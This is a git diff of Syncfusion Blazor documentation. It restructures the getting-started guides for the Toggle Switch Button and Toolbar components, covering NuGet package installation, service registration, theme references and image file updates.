+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toggle Switch Button](https://www.syncfusion.com/blazor-components/blazor-toggle-switch-button) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -27,23 +25,6 @@ To get start quickly with Blazor Toggle Switch Button component, refer to this [
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Buttons and Themes NuGet in the App
-
-To add the **Blazor Toggle Switch Button** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Buttons -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -56,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -69,26 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Buttons and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Buttons -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -107,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -118,29 +79,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Buttons and Themes NuGet in the App
+{% endtabcontent %}
 
-To add the **Blazor Toggle Switch Button** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Buttons -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Buttons -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Buttons` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Buttons` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -151,25 +113,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -177,24 +131,26 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    <!-- ... -->
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Toggle Switch Button component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toggle Switch Button component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toggle Switch Button component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Buttons
 
 <label for="checked" style="padding: 10px 10px 10px 0">USB Tethering</label>
 
@@ -211,12 +167,14 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toggle Switch Bu
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/BXBpXsqjfdrkkiow?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toggle Switch Button Component](./images/blazor-toggle-switch-button.png)" %}
 
-## Setting On and Off Text
+## Setting On and Off text
 
 On and Off text can be set using [OnLabel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Buttons.SfSwitch-1.html#Syncfusion_Blazor_Buttons_SfSwitch_1_OnLabel) and [OffLabel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Buttons.SfSwitch-1.html#Syncfusion_Blazor_Buttons_SfSwitch_1_OffLabel) properties of Toggle Switch Button component. In the following example, `onLabel` is set as `ON` and `offLabel` is set as `OFF`.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Buttons
 
 <SfSwitch @bind-Checked="isChecked" OnLabel="On" OffLabel="Off"></SfSwitch>
 
@@ -231,6 +189,8 @@ N> Switch does not have text support for material themes, and does not support l
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/BXLzZiKtzdAdnBzy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toggle Switch Button With Label Sample](./images/blazor-toggle-switch-button-label.png)" %}
 
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ToggleSwitchButton).
+
 ## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
diff --git a/blazor/toolbar/align-items-using-spacer.md b/blazor/toolbar/align-items-using-spacer.md
index ac03052f3e..1498f99e21 100644
--- a/blazor/toolbar/align-items-using-spacer.md
+++ b/blazor/toolbar/align-items-using-spacer.md
@@ -34,7 +34,7 @@ Insert spacers at the end of the items on the left and in the center. This will
   </ToolbarItems>
 </SfToolbar>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNLSMZiXfjMHImXT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Spacer](./images/blazor-toolbar-spacer-left-right-center-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNLSMZiXfjMHImXT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Spacer](./images/blazor-toolbar-spacer-left-right-center-item.webp)" %}
 
 ## Left and Right alignment
 
@@ -56,7 +56,7 @@ Insert a spacer between items intended for left and right alignment. This pushes
   </ToolbarItems>
 </SfToolbar>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDhyCjCNpZsakxAz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Spacer](./images/blazor-toolbar-spacer-left-right-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDhyCjCNpZsakxAz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Spacer](./images/blazor-toolbar-spacer-left-right-item.webp)" %}
 
 ## Right alignment
 
@@ -78,7 +78,7 @@ Insert a spacer as the first item in the toolbar. This pushes all other items to
   </ToolbarItems>
 </SfToolbar>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLesXsXJthASXEy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Spacer](./images/blazor-toolbar-spacer-right-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLesXsXJthASXEy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Spacer](./images/blazor-toolbar-spacer-right-item.webp)" %}
 
 
 N> Avoid using the `Align` property in toolbar items when `Spacer` is utilized.
\ No newline at end of file
diff --git a/blazor/toolbar/getting-started-webapp.md b/blazor/toolbar/getting-started-webapp.md
index 938ea9dc6d..68c44a356e 100644
--- a/blazor/toolbar/getting-started-webapp.md
+++ b/blazor/toolbar/getting-started-webapp.md
@@ -186,7 +186,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toggle Switch Button component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNBfDCqZpxexmezs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Component](./images/blazor-toolbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNBfDCqZpxexmezs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Component](./images/blazor-toolbar.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Toolbar).
 
diff --git a/blazor/toolbar/getting-started.md b/blazor/toolbar/getting-started.md
index d73dd0ee24..578c7a289d 100644
--- a/blazor/toolbar/getting-started.md
+++ b/blazor/toolbar/getting-started.md
@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Toolbar Component
 
-This section explains how to integrate the Syncfusion [Blazor Toolbar](https://www.syncfusion.com/blazor-components/blazor-toolbar) component into a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-For a quick start with the Blazor Toolbar component, refer this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Toolbar) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toolbar](https://www.syncfusion.com/blazor-components/blazor-toolbar) component into a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +23,6 @@ For a quick start with the Blazor Toolbar component, refer this [GitHub](https:/
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
-
-To add the **Blazor Toolbar** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure the current directory is the project root, where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Navigations -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Toolbar** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Toolbar component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toolbar component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toolbar component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfToolbar>
     <ToolbarItems>
@@ -213,9 +167,11 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toolbar componen
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toolbar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNBfDCqZpxexmezs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Component](./images/blazor-toolbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNBfDCqZpxexmezs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Component](./images/blazor-toolbar.webp)" %}
+
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Toolbar).
 
-## See Also
+## See also
 
 1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 2. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
diff --git a/blazor/toolbar/how-to/add-remove-toolbar-items.md b/blazor/toolbar/how-to/add-remove-toolbar-items.md
index 15ab9e80b1..d78f8277e5 100644
--- a/blazor/toolbar/how-to/add-remove-toolbar-items.md
+++ b/blazor/toolbar/how-to/add-remove-toolbar-items.md
@@ -91,4 +91,4 @@ In the following demo, the `ToolbarItems` collection initially contains five ite
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDheWZitquTDHMDs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding or Removing Blazor Toolbar Items](../images/blazor-toolbar-add-or-remove-item.gif)" %}
\ No newline at end of file
